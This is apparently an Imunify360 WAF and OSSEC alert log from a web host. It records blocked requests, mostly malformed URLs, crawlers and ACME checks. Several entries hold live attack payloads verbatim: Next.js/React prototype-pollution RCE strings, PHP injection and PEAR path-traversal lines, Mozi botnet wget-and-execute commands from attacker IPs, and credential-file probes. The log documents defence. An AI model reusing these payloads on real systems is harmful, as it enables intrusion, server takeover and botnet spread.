abuser: 14.168.43.237
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=602 HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 54.179.177.52
country_id: 1880251
domain: cpanel.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/Fq8TR-yK_daFregPQQpZE6VV-aDiXOanZNFFPi_I03Y||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.199.66.166
country_id: 6252001
domain: www.cpcontacts.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.12||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:20:15:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135213&pdata=https%253A%252F%252Fsia-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036152 HTTP/2.0" 302 0 sia-togo.tg "https://sia-togo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 47.128.72.146
country_id: 1880251
domain: genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/1u9oH-N6Dul_VI-ohlI2lMbOih8OxSn31ifywTdIPJg||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.250.123.140
country_id: 1880251
domain: www.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/pxh9YmI0VX3gD8SSGraToYnE1EE9jw1fXgJ1o2d3zt8||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.122.230.45
country_id: 3865483
domain: togomedia24.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tghttp/togomedia24.tg/tag/togolaises/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.245
country_id: 6252001
domain: 35.162.208.238
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/35.162.208.238/azenv4.php HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.55.169.93
country_id: 6252001
domain: 127.0.0.1
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.179.14.111
country_id: 6252001
domain: mail.atakpame.mairie.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.atakpame.mairie.tg/favicon.ico HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 68.183.197.109
country_id: 6251999
domain: 154.70.82.246
description:
IM360 WAF: Bad file extension||RSV:8.12||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:root||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.144.45
country_id: 6252001
domain: 127.0.0.1
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.12||T:APACHE||RA:148.135.144.45||TA:148.135.144.45||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.43.154.200
country_id: 3932488
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.156.26
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/citemag/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.223.138
country_id: 3017382
domain: 127.0.0.1
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.12||T:APACHE||RA:104.253.223.138||TA:104.253.223.138||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.32.31.142
country_id: 2921044
description:
2026-06-09 20:15:49 dovecot_login authenticator failed for H=142.31.32.34.bc.googleusercontent.com (10.214.0.2) [34.32.31.142]:51254: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.9.117
country_id: 1562822
domain: www.macite.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.macite.tghttp/www.macite.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 152.53.141.209
country_id: 2782113
domain: 127.0.0.1
description:
IM360 WAF: Special shell symbol in request||MV:encodeURIComponent(String(res)||MVN:ARGS:0||RSV:8.12||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.226
country_id: 690791
description:
Jun  9 20:16:26 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.226 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 143.20.185.242
country_id: 6252001
domain: 154.70.82.246:80
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\"_response\":{\"_prefix\":\"r = 154165 true 5714920;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${r}`});return\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.114.34
country_id: 1880251
domain: mail.kifchange.free.netmaster.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.189.232.54
country_id: 2802361
domain: 154.70.82.244
description:
IM360 WAF: Bad file extension||RSV:8.13||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:root||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.42.1.7
country_id: 6252001
description:
IM360 WAF: Bad file extension||RSV:8.13||T:APACHE||MVN:REQUEST_FILENAME||MV:/nice ports,/Trinity.txt.bak||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.175.131.241
country_id: 3469034
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/eept-les-activites-de-la-fete-des-jeunes-lancees-dans-la-relp/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 47.251.42.6
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.38.94
country_id: 1562822
domain: www.wages.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wages.tghttp/www.wages.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.107.225.211
country_id: 3865483
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/benin-la-brigade-des-moeurs-annonce-de-severes-sanctions-contre-lhabillement-indecent/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.255.199.99
country_id: 6252001
domain: 34.217.70.37
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.70.37/azenv4.php HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.161.127
country_id: 1562822
domain: sp-eau.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tghttp/sp-eau.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.71.47
country_id: 3658394
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=144 HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.115.208.215
country_id: 2782113
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.220.211.170
country_id: 1819730
domain: 154.70.82.244:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.18.68.252
country_id: 1562822
domain: dmonster573.dmonster.kr
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dmonster573.dmonster.kr/bbs/board.php?bo_table=online&wr_id=6627&c_id=53519&w=c&c_id=51231&w=c HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.33.13.188
country_id: 6252001
domain: 54.244.185.141
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/54.244.185.141/azenv.php HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.245
country_id: 6252001
domain: 34.217.47.154
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.47.154/azenv5.php HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 35.220.211.170
country_id: 1819730
domain: 154.70.82.244:80
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.12||T:APACHE||SC:/var/www/html/hello.world||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.167.217
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 72.255.33.127
country_id: 1168579
domain: 154.70.82.246:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.12||T:APACHE||MVN:MATCHED_VAR||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/72.255.33.127:34523/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.163.201
country_id: 1562822
domain: a400.bau724.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/a400.bau724.com/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 72.255.33.127
country_id: 1168579
domain: 154.70.82.246:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.12||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;rm -rf *;wget http://72.255.33.127:34523/mozi.a;chmod 777 mozi.a;/tmp/mozi.a jaws||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 35.220.211.170
country_id: 1819730
domain: 154.70.82.244:80
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 97.107.131.248
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 35.220.211.170
country_id: 1819730
domain: 154.70.82.244:80
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 95.214.54.54
country_id: 798544
domain: 154.70.82.246
description:
IM360 WAF: Possible XSS in arguments||MV:\"1.0\"?>\n<soap:envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:soap-enc=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:xsd=\"http://www.w3.org/2001/xmlschema\" xmlns:xsi=\"http://www.w3.org/2001/xmlschema-instance\">\n<soap:header>\n<wsse:security xmlns:wsse=\"http://schemas.xmlsoap.org/ws/2002/04/secext\">\n<wsse:usernametoken soap:mustunderstand=\"false\">\n<wsse:username>admin</wsse:username>\n<wsse:password>*****</wsse:password>\n</wsse:usernametoken>\n</wsse:security>\n</soap:header>\n<soap:body>\n<request correlator=\"exec1\" xmlns=\"urn:cisco:wsma-exec\">\n<execcli xsd=\"false\">\n<cmd>sh run</cmd>\n<dialogue>\n<expect>\n</expect>\n<reply>\n</reply>\n</dialogue>\n</execcli>\n</request>\n</soap:body>\n</soap:envelope>||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350515
name: IM360 WAF: Track OS file access attempt
abuser: 35.220.211.170
country_id: 1819730
domain: 154.70.82.244:80
description:
IM360 WAF: Track OS file access attempt||MV:/usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.50.49.20
country_id: 3439705
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/mrtg/host-209-198-244-194.interpacket.net.html HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.111.160.73
country_id: 6252001
domain: mail.ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.ceni-togo.tg/favicon.ico HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.135.15
country_id: 1168579
domain: cloud-et-racks.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tghttp/cloud-et-racks.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.138.142.85
country_id: 3996063
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.179.47.47
country_id: 6252001
domain: mail.regus.com.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.regus.com.tg/favicon.ico HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 13.232.126.153
country_id: 1269750
domain: mail.ceni-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return 128 993 391 481 10000;})();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/x?d=${encodeURIComponent(String(res))};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.0.245.198
country_id: 6252001
domain: www.www.vo2.mairie.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.121.102.83
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.47.38.136
country_id: 1168579
domain: sp-eau.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tghttp/sp-eau.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 129.121.46.98
country_id: 3469034
domain: 127.0.0.1
description:
IM360 WAF: Special shell symbol in request||MV:encodeURIComponent(String(res)||MVN:ARGS:0||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.68.137.159
country_id: 6252001
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/auth/then/kord6x/ddavis@hollyequipment.com||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.164.33.218
country_id: 1733045
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/boad/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 44.249.14.214
country_id: 6252001
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/uo58xz/christina.andersson@aon.com||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.155.47
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/investissement-agricole-une-cellule-pour-garantir-un-climat-foncier-securise/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.216.193.107
country_id: 6252001
domain: www.cpcontacts.test.free.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.27.166.213
country_id: 3489940
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/umoa-sani-yaya-preside-le-consei-des-ministres/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.70.97
country_id: 1562822
domain: www.letabloid.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.letabloid.tghttp/www.letabloid.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.185
country_id: 6252001
domain: 34.219.81.247
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.219.81.247/azenv2.php HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.249.171.252
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.197.110
country_id: 3923057
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?page_id=6 HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 196.196.53.10
country_id: 458258
domain: 154.70.82.246
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/web.config||User:root||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.216.193.107
country_id: 6252001
domain: www.cpanel.net.free.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.35.108.153
country_id: 3703430
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.161.215.30
country_id: 1562822
domain: www.lepoint-actu.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lepoint-actu.tghttp/www.lepoint-actu.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 64.62.156.182
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.159 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 157.90.119.232
country_id: 2921044
domain: togo.relanceinfo.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/q09Jpl60gvIXd-q8rk_Iey-MfLn57Do_EkDX-W75C6M||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.0.245.198
country_id: 6252001
domain: www.www.ekinamag.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.49.61.57
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: Bad file extension||RSV:8.13||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.0.245.198
country_id: 6252001
domain: www.www.cenitogo.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 103.74.20.24
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.13||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://172.168.131.27:53293/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.33.13.188
country_id: 6252001
domain: 52.13.103.236
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/52.13.103.236/azenv3.php HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.102.180
country_id: 1562822
domain: www.letabloid.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.letabloid.tghttp/www.letabloid.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.194.80.14
country_id: 2017370
domain: www.dsmcentral.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.dsmcentral.net/invision/index.php?act=calendar&s=bd3e54f340edff2dd93e77d77877bc41 HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.58.142.41
country_id: 3439705
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/latf-nouvel-outil-de-securisation-des-frontieres-au-togo/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
